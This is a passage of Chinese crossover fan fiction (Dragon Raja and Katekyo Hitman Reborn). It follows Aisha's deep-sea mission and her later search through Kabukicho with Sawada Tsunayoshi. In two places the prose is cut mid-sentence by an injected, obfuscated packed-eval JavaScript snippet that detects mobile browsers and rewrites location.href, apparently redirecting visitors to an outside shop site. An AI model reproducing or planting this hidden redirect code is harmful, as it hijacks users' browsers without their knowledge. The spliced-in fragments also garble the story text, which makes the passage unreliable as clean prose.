沢田纲吉听了暗自摇摇头,没把话放心上。挥别夏马尔,他乘电梯向上,犹豫一下,果真选了离海岸最近的出口,那里被伪造得像座天然洞穴,走过时会听到水滴敲打岩壁。 夜风将大衣衣摆吹得微动,他信步往海边走去。 87. 番外 东京面基 41.遗书 海底遭遇险情,执行小队纷纷开始录制遗书。 恺撒的基本可以概括为对未婚妻的倾情告白,约1300个字。 楚子航的是录给继父,一板一眼全面体面,约130个字。 艾莎:“校长,我走了。”约5个字。 路明非:“……”不知道录给谁听,于是沉默了。约0个字。 ——要说惨,那还是总二师兄惨呐。 最后路明非看看艾莎,干巴巴地没话找话:“小师妹你都不怕么?” 结果对方一如既往一张没心没肺的呆脸:“啊?不怕啊。” 路明非:“……”有时候他都怀疑这孩子的内里是不是已经微妙的坏掉了。这孩子亟需一些温柔关怀与心理辅导啊! 42.死亡任务 录完遗书,小队里的所有人都还算平静。 此时情虽险,毕竟还有个赌命的机会。学院常态了。 恺撒挥斥方遒。他认定自己身上带着准新郎的无敌buff,要结婚的人怎么可能死在婚礼前夕呢?0.1%的生机在他眼里也能四舍五入成100%。 楚子航淡定自若。他生就一张随时准备赴死的平静面孔,入学以来积攒的死亡flag密密麻麻插满背就跟戏台上的老将军似的,有时看着他你都会惊讶他这种人是怎么活到21岁的。 路明非呆若木鸡。他纯粹是觉得上面两位皇上还在,再急也轮不到他急的。 然后他们投掷出去的核动力舱就出现了故障。为了重启引爆程序,他们必须通过深海行走手动输入密码。这是必死的任务,连0.1%的生还概率都没有。 彼时外面成千上万的尸守正在复苏,神葬所的废墟恍若洞开的黄泉之门。 皇上们一个又一个出了深潜器,出去前各自说了些感人的话。大意是身为学长的骄傲不允许他们把师弟师妹推出去送死巴拉巴拉。 然后深潜器里就剩下2个人了,路明非与小师妹缓缓对上视线,楚子航刚出舱她就往加压舱的门边摸,那里还剩2套潜水服。 路明非:“小小小小小小……” 艾莎:“这怎么和葫芦娃救爷爷似的,显得我们好傻哦。” 路明非:“…………”道歉!给他向两位师兄的骄傲道歉啊喂! 这时他脑中灵光一现,跟抓住救命稻草似的:“对啊小师妹你言灵是‘无尘之地’!” 虽然没亲眼见过但这言灵听描述就很bug啊这种时候想必能发挥奇效吧!? 艾莎听了一愣,但什么也没说,只是朝他咧嘴一笑,反手把压力舱的门关上了。 43.神启 艾莎原本瞄着核动力舱附近降落,但不晓得哪来的一股暗流,把她送到了更远的地方。降落后,她与楚师兄遥遥对望一眼,不约而同地往核动力舱的方向艰难移动。 谁先到谁去执行任务,当然也可能谁都到不了。可没死之前这种事谁说得清呢?活着就没法停下脚步。 为了对抗深压环境,齐柏林潜水装置是个圆润的球形,移动起来费时费力。加上有限的氧气,最多支撑5分钟左右的时间。 这时恺撒的装置已经过期7分钟,人已陷入昏迷状态;另外两人的过期2分钟,各自靠暴血勉力支撑。 路明非隔着厚厚的玻璃,看底下的三只圆球艰难移动,像旁观一场黑色幽默的电影,能品味出深刻但又难免发笑:哇这三个人在用超狼狈的姿势前仆后继地送死诶……哇自己只能坐在超安全的地方干看着诶…… 他想帮忙但他连齐柏林潜水装置的用法都不知道。这种眼睁睁看着自己把一切搞砸的感觉真糟糕。以前他看武侠小说,里面写主角后悔就说什么某某扼腕叹息一声,说早知这样当初便该那样,轻飘飘的一句,好像是因为时间“唰”地一下过去了才来不及反应。 可只有亲身经历过的人才知道,这种时候时间过得很慢的,所有感官都被拉得很长很长。你知道自己要搞砸了要搞砸了要搞砸了,大脑在尖叫预警可你无能为力,只能尽量把身体蜷缩得更紧一点,祈求这一刻快点过去。 同样的感觉,在不久后的将来,他还会重新经历一次。那是高天原的地下酒窖,海水倒灌一片漆黑,外头尸守横行,时不时还要响起几下枪声。 路明非大口大口的往嘴里灌威士忌,靠着酒精来消除恐惧,然后脑子里忽然冒出来日本那天在飞机上做的占卜,什么什么宜入殓安葬忌饮酒的,指的该不会就是今天吧啊哈哈哈哈…… 那时他觉得正身处地狱的最深处,很快就要死了。唯一和外界产生连结的是手边不断亮起的手机,洁白的光与文字倒映在眼底,有个女孩正不停问他在哪,说身边在发生很奇怪的事,问“Sakura我能不能来找你。” 他愣了愣,需要做出选择的预感前所未有的强烈。酒瓶就磕在掌心,凉丝丝的疼。 ——所有人都把目光投向你可你最后什么都不做,这种时候全世界都会瞧不起你吧? 44.密码 “给我诺诺师姐的生日!” 最后,艾莎先一步摸到了核动力舱前面。她一把扯开电路板外面的装甲,露出里面的液晶屏幕。输入路明非不假思索报出来的一串数字,屏幕中央跳出一个大大的“ERROR”。 “不对…不会是恺师兄自己的生日吧?还是他俩的订婚纪念日啊?”她边说边瞎试,心说装备部怎么不弄个输入3次错误密码就自爆的程序呢?按理说这才是那帮疯子的风格啊! 此时的艾莎异常冷静,又或者说因为暴血带来的血统强化而陷入一种冷酷的疯癫。快速输入数字的同时她甚至判断出一直以来等待的终焉就是现在了,死在八千米深的海底,旁边是核动力舱和沉睡万年的遗迹,其实算得上悲壮吧? 可偏偏没有想象中的如释重负。身体被一种奇异的情感操纵着,她输入数字的速度越来越快。 艾莎没说让楚子航带着恺撒撤退的话,事实上楚子航也仍在努力往核动力舱这边前进。如果她因为支撑不住暴血而死在试密码途中,那么他会接替她的位置,除非他先一步死在路上。 ERROR,ERROR,ERROR! 由于缺氧,眼前一阵阵发晕。趁着还能说话,艾莎边试密码边说:“二师兄,你先撤退吧。” “……” 通讯装置那头静默无声。 艾莎就笑笑:“总不能都折在这儿啊。所谓同伴不就是这么回事么?你活着……之后要把我们没做完的事情做完。” 可二师兄还是不说话。本来她还想插科打诨,让他在学院举办葬礼的时候帮她在围栏上用饰巾扎一只皮卡丘,然后二师兄就会吐槽说这个难度有点太高了臣妾做不到啊……可终究没精力再劝了。 力量从指尖疯狂流失,快要失去意识的前一秒,装置那头炸开二师兄嘶哑的嗓音。 他用异常笃定的口吻报出一串数字。顷刻间,仿佛有一道命令在脑海下达。力量重新涌现,那感觉就跟游戏里丝血的时候被强行续了一口奶似的。 艾莎飞快地键入那串密码。 核动力舱重新点火! 45.无尘之地 一直到回到驾驶舱为止,艾莎都还有点反应不过来。暴血的负作用开始显现,她怔怔望着前方,心脏在胸腔内疯狂跳动,不知何时才能平复。 “…小师妹你还好么?”二师兄战战兢兢的。 艾莎没回答,过了好半天才没头没尾地开口:“我刚刚好像想到了什么事。”或者说意识到了什么。 “啊?你想到什么啦?”二师兄问她。 艾莎就真的努力想了想,然而那电光石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658846|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火的一刻已经过去了,大脑一片空白。最后她只好说:“忘记了。” 深潜器飞速上升,二师兄和楚师兄正聊着什么,她没顾得上听。短暂休息了一阵,意识终于慢慢收拢。她朝舷窗外看了一眼,密密麻麻的尸守与鬼齿龙蝰,攻击着濒临破碎的深潜器外壳,于是她深吸一口气,重新释放了言灵。 强大的空气旋涡在海水中展开,一切未经允许冲撞过来的东西都被绞杀撕裂。那些残缺的尸体碎片被不断涌上的鬼齿龙蝰吞没。这群东西凭本能攻击一切活物,也同样吞噬同类。 敌人无穷无尽。 无尘之地本来就是防御类的言灵,强行用出攻击效果其实支撑不了太久。 “小小小小小师妹你眼睛流血了……”旁边传来二师兄结结巴巴的关切,但那声音又很快消失。 她漠然继续着咏唱。也不知道是在和什么东西较劲,就像一场永远没有终点的长跑。 海水底部忽然传来一阵剧烈的震动。透过观察窗,他们看到上浮的巨龙骨架,广袤无垠。来自远古的威严透过金属外壁渗入舱内,几乎令呼吸冻结。在所有人绝望的凝视中,腐朽的古龙缓缓张开肋骨,那里面栖息着无数鬼齿龙蝰,正在黑暗中欣喜地睁开眼瞳。 “…嗯,挡不住。”艾莎喃喃。 有一瞬间,她以为自己撤去了言灵——这是完全正确的做法,考虑到领域自动撤销与被强行撕裂带来的后果不可同日而语。 但有什么完全未知的东西取代了理性,支撑住摇摇欲坠的脊骨。 ……究竟是为什么啊? 带着迷惑,艾莎深吸了一口气,将炼金领域张开到极限。 46.重逢 意识重新复苏的时候,艾莎的两只眼睛已经成了两个血洞,听力基本丧失;唯有思维十分活跃,从脸部的些微砂砾触感推断出此刻正瘫在沙滩上,且姿势基本等同于《龙族遗迹概论》里考过的俯身直肢葬。 ……可恶,为什么当初考试的时候没有想起来啊!? 凭借着这么一丝丝愤怒,她努力地支撑起身体,开始在深夜的沙滩上摇摆双臂cos染血丧尸。 头脑被一阵阵的黑暗冲袭,身体一片昏沉……其实现在坐着休息更有助于恢复体力吧? 可一点也不想留在这个地方。什么也听不见,什么也看不到,身边一个人都没有。 说起来,心脏真的有好好的在跳吗?呼吸有在顺畅的进行吗?说不定已经死了吧,浑身都很痛,眼部莫名发酸,可是这些也都可能只是死后带来的错觉吧? 于是继续踉跄着往前。 直到一头撞到某个陌生的、温暖的东西上。 艾莎一僵,迟钝地借着鼻尖缓慢探索感知,最终判断面前这东西应该是个人。 “……!?”对方大概是说了什么吧。 她不愿放松警惕,所以努力瞪大了血糊糊的眼眶,想推开对方继续往前。 结果被不由分说的制止了。凭借本能,她用力咬住了什么,脖子或是肩膀。最后两个人一起栽倒在了沙滩上。 成功放倒敌人,她也失去了起来的力气。感有微乱的呼吸不断吹拂在脸颊,她有些迷惘地低下头,什么都看不见,只好继续用鼻尖笨拙感知:这个是鼻子、下面是嘴巴……那道呼吸停了停,随即微颤着继续……然后是脖子、肩膀…… 最终,艾莎成功把头靠到了这个人的左胸上。对方似乎发现她听不见了,于是不再尝试说话,也没伸手碰她,像在表明没有敌意似的。 脑袋底下有另一颗心脏在跳。艾莎逐渐意识到这点,并任由它占据感知。它跳得很快很快,几乎追上她自己的。 她不自觉地放缓了呼吸,感受着两颗心脏的同频。 直到终于可以确认现在还活着。 安宁的黑暗彻底包裹住她。 88. 第80章 歌舞伎町 在回网吧的路上,艾莎忽然愣了愣。 “怎么了?”沢田立刻望过来。然而,一和女孩四目相对就想起她先前说的话,他一僵,不动声色将视线偏开稍许。 “…没什么。”艾莎顿了顿才回答,“非要说的话……总觉得时间过去了很久,好像有一年零三个月那么久。” “欸?” “嗯,大概是错觉吧——有时候就是会有,那种莫名其妙的错觉。比方说,”艾莎边形容边皱眉,“总觉得现在非常需要一个前情提要……” 明明表情相当严肃,但散发出的气场好像更呆了。沢田纲吉有点无奈,幸而早就习惯了她这种跳脱思维,干脆放弃纠结直接配合:“前情提要指的是……?” 艾莎霍然抬首,脑后像“啪”的闪过一道亮光: “我是混血种专员艾莎。当我和偷摸哒叽的纲吉君在拍卖会现场意外重逢时,却被卷入蛇岐八家与秘党争夺Theseus-44号的事端。当时我只顾着抱住纲吉君,等反应过来的时候,任务目标已经被人捷足先登了!” 沢田纲吉:“……”槽点也太多了!周围都响起奇怪又激昂的BGM了!总觉得下一秒就会有什么地标性建筑迎来爆炸啊!? “假如放任Theseus-44号流落在外,混血种世界的和平将遭到破坏——某个装模作样不可信任的精神分裂是这么说的。为了阻止这场阴谋,我和纲吉君乔装打扮,一起踏上了追踪目标的旅程。樱井七海的遇袭事件与死侍凶杀案相互纠缠、难舍难分。然而,无论什么样的案件——” “——真相永远只有一个?”尽管脑内吐槽如惊涛拍岸,褐发青年还是条件反射的接话了。 “正解!”艾莎点头,随即轻吐出一口气,“呼…总觉得像这样的对话也久违了。” “明明没过去多久吧?”沢田听了无奈展眉。事实上,距离他们重逢只过了1天不到而已。 然而,诡异的是,他内心深处竟然也莫名其妙的生出了赞同之感…… “也可能是因为纲吉君从刚刚开始就不肯看我,空气变得很奇怪,所以才会觉得漫长吧。” 沢田纲吉一愣。 艾莎耸耸肩,赶在他有所反应前一口气道:“漫长得就好像忽然发现《荒野之息2》已经发售了很久很久——连名字都变成了更确定的东西——《荒野之息2》什么的已经是相当过时的叫法了一样喔?” “艾莎……”这究竟是什么神奇比喻啊……他一时心情复杂。但说到底,好像还是需要被这种神奇比喻包容的他自己更没出息。 这种时候果然应该说点什么吧?可不管说什么好像都很危险。褐发青年垂眸思索着措辞,正欲张口,手臂却被忽然勾住。 “…别动。”女孩低声道,“看来,这段时间发生变化的不只是我们这边而已。” 沢田纲吉还没从骤然拉近的距离间回神,危机意识已先一步拉响预警。他配合着女孩的动作,两个人一起站到一块闪烁的酒吧招牌后面,用余光注视一条街外的网吧大楼。 ——入口处已被一道道人墙彻底堵死了。 穿黑色风衣的男人们神情严肃、队伍井然有序;站在最外侧的时不时朝四下张望,敞开的领口处,浮世绘风格的刺青艳丽森然。 “是蛇岐八家的人。”艾莎道,“这次我和大师兄都是用的真名入境,网吧的登记也是……” “但是,蛇岐八家和秘党是明面上的盟友吧?如果他们公然追捕你们——”沢田眉心微蹙。 两人对视一眼,都预感到情况不妙。 按照源稚女的说法,身为大家长的樱井七海重伤,现在的蛇岐八家聚集着一帮好战之徒! “先离开这再说。”艾莎道。她还是搂住他的胳膊,心想还好来网吧前预先处理掉了风衣。现在这个时间点,能出现在街头还不引人怀疑的只有流浪汉和神志不清黏黏糊糊的情侣。 ……要是纲吉君能不要那么僵硬就好了。 一边这么想着,她一边又有点莫名赌气,不由搂得更紧了点,靠近网吧的那条街时,脑袋在他肩膀上蹭了蹭、顺便遮挡住脸。 “……!” 身边人脚步忽然一错,像个十足的醉汉,也不知是精湛伪装还是低级失误。 总之,他们顺利拐进了旁边的小道。幽蓝天幕下,各类LoveHotel的招牌五颜六色、明晃晃地闪耀着。 沢田纲吉轻咳一声:“你大师兄……?”除却担忧,他还有点刻意冲淡现在诡异氛围的意思;原理大概就和孤男寡女坐摩天轮的时候孤男一本正经说要开始做新生入学辅导差不多,但现实世界里大概是不存在境界如此高深的孤男…… “放心,大师兄是不会被抓住的!”艾莎看他一眼,主动松开了手,“大师兄比变色龙还阴险,比蟑螂更顽强!” 沢田纲吉:“……”虽然你说得超级骄傲但这完全不是什么夸赞人的话啊!? 他的胳膊在半空中停了停才收回,“现在去会合么?” “唔,但大师兄没留其它讯息……”艾莎挠了挠头。 “你们在东京还有其它落脚点么?”他本意是指秘党在这边的基地。但刚一问完,沢田就发现女孩目露犹疑,似乎是想到了什么难以启齿的事。 “要说大师兄,他以前在蛇岐八家卧过底,期间好像挖了不少煤球,还有艳照什么的……” 沢田纲吉:“……”等等,比起卧底什么的、这听起来明显就是在做狗仔啊!? 他脑子里顿时出现一个手持照相机咔嚓狂拍一脸淫//笑的男人,那画面真是毫无违和感可言…… “我的意思是,就算大师兄在东京有一百个老巢都不奇怪。”艾莎顿了顿,“但要说我知道的会合点……” 她望着梦幻迷离的街道,目光渐渐深邃。 沢田纲吉默默看在眼里,心头忽然就涌动起一阵不祥。 -- 清晨的歌舞伎町如同一张被揉皱的报纸,底色沁着铁青。 在这里,朝阳是种不合时宜的存在,无精打采的霓虹招牌下,陌生男女相互依偎、躲避着日光和呕吐物,经过时留下淡淡的烟味、以及啤酒泡沫似的情//欲。 沢田纲吉没真正踏足过这片街道,只是从前有所耳闻;想象中应该是个和西西里最乱街区异曲同工的地方。 如果说还有什么不一样—— 喷泉!锃亮的青铜雕塑!雕塑后气势恢弘的白色立柱式建筑! 气派的黄铜门!门边吹着号角振翅欲飞的天使!十几面威风凛凛的猩红旗帜! 罗马!这是罗马才会有的景象啊!还是在景点才能看到的那种! 褐发青年在心里默默吐槽。再看旁边,艾莎也半张着嘴巴一脸震撼,心理活动明显没比他好多少—— “虽然之前是听说过没错……”女孩低声嘀咕。 他们一起抬头仰望门前那尊存在感极强的青铜雕塑。 虽说造型明显是仿造比利时那尊大名鼎鼎的撒尿小童,但脸一看就是东亚人(老实说,这让整体的耻感上升了成千上万倍不止)。 只见一道有力细流从男孩的隐私部位不加掩饰的跃出,直直越过两人头顶,又呈抛物线状落回池中;弧度很是俏皮…… 艾莎盯着雕塑那张无辜又熟悉的脸。 “二师兄。”她喃喃。 “…什么?”沢田纲吉以为自己听错了。他心想熬夜奔波是容易这样的。 “虽然做成了幼童版, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658847|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我认得他那双死鱼眼……这是我二师兄没错。”艾莎就又慢慢重复了一遍。受到剧烈冲击,她的精神壁垒没以前坚固了,熬夜奔波是容易这样的。 “这位就是小樱花前辈!在出道时收到了超过一亿元的花票,是在这条街上缔造了神话的、传说中的牛郎!” “据说抚摸他的臀部就能带来好运。呀啊,整容诊所的小樱花套餐一度风靡整条街道不是么?大家都想拥有啊——小樱花前辈那世无其二迷倒众生连神明都能轻松杀死的翘臀!” 这时旁边传来低低的议论。是两个打扮得花枝招展的牛郎,看样子刚入行不久,仰望雕塑的神情满是崇敬。 沢田纲吉努力保持镇定,他做梦也没想到自己有天能在现实里听到这种对话。残酷冰冷危机四伏的mafia生活好像已经是很久远的事了,现在他满脑子都充斥着小樱花小樱花小樱花和翘臀翘臀翘臀。 艾莎朝他惨然一笑。 年轻的Mafia首领艰难开口:“…艾莎的二师兄、原来叫…小樱花…是么?” “纲吉君为什么要一脸小心啊喂!?”艾莎一脸崩溃,“为什么一脸‘戳中你的隐痛了吗戳中的话我立刻收回喔’的贴心表情啊喂!?” 沢田纲吉说不出话。面对她拥有一个名叫“小樱花”且显然具备魅力翘臀并在歌舞伎町街头立有裸//体雕塑的混血种牛郎师兄的事实他能说什么?内心涌动的根本只有本能的同情好么? 但是,既然他们到了这,难道说—— 沢田的眼睛微微睁大了。就在他以为稍稍摸到了混血种世界的边界的时候,这个世界又以一种匪夷所思的方式方法在他面前膨胀了数倍。非要形容的话,里面是一群载歌载舞的大师兄,大师兄们一边快乐地坐着旋转木马,一边豪迈地持枪互射…… 艾莎点头:“这里多半会有大师兄的消息。” “他……”褐发青年欲言又止,明显是在斟酌用词。她索性抢先回答。 “是啊,他也是牛郎。”艾莎木然道,“花名是‘Heracles’。” “欢迎来到Heracles的秘密基地!”推开地下室的门,男人一见到他们即振臂欢呼,“嘿你们找到我了!小师妹我就知道你行!要我说日本分部那帮人真是不做人啊,说翻脸就翻脸,要不是我跑得——” “少把自己说得像是游戏通关奖品一样啊!”艾莎愤愤压低声音,“还给店长添麻烦!” 他们是被那位独臂店长一路领来的。看到他们,男人一句话也没多问,脸上挂着豪迈的笑容,一如以往。她想开口解释两句,店长却只是不在意的摆摆手,说这种事该留到酒桌上边喝酒边当故事谈,可现在还不是喝酒的时候吧?搞得艾莎心里越发不是滋味。 “越危险的地方越安全。这道理小师妹你不懂么?”大师兄一脸鸡贼,“再说了,校董会的人已经抵达成田机场,对日本分部那帮人来说,他才是主菜!” …现在参与进来的势力越来越多了。 沢田纲吉不禁垂眸,心里刚有个模糊思量,就见艾莎的大师兄吭哧吭哧拖来一块白板。 “他们忙着咬来咬去,这种时候就是我们的机会啊!等你们的时候我都已经把情报整理好了——” 白板边缘还残留着名字的零星部首与花边,多半是以前店里用作记录牛郎排名的工具。 现在外围贴着一圈照片,并简短潦草的文字说明:六沼雅人的尸检报告、以及所谓的“刺猬新郎”案件……所有这些线索齐齐指向正中的地点。 ——J·A婚礼事务所。 白板旁边,大师兄冲他们闪亮一笑: “准备好接下来的深入调查了么?” 那笑容怎么看怎么黑心眼。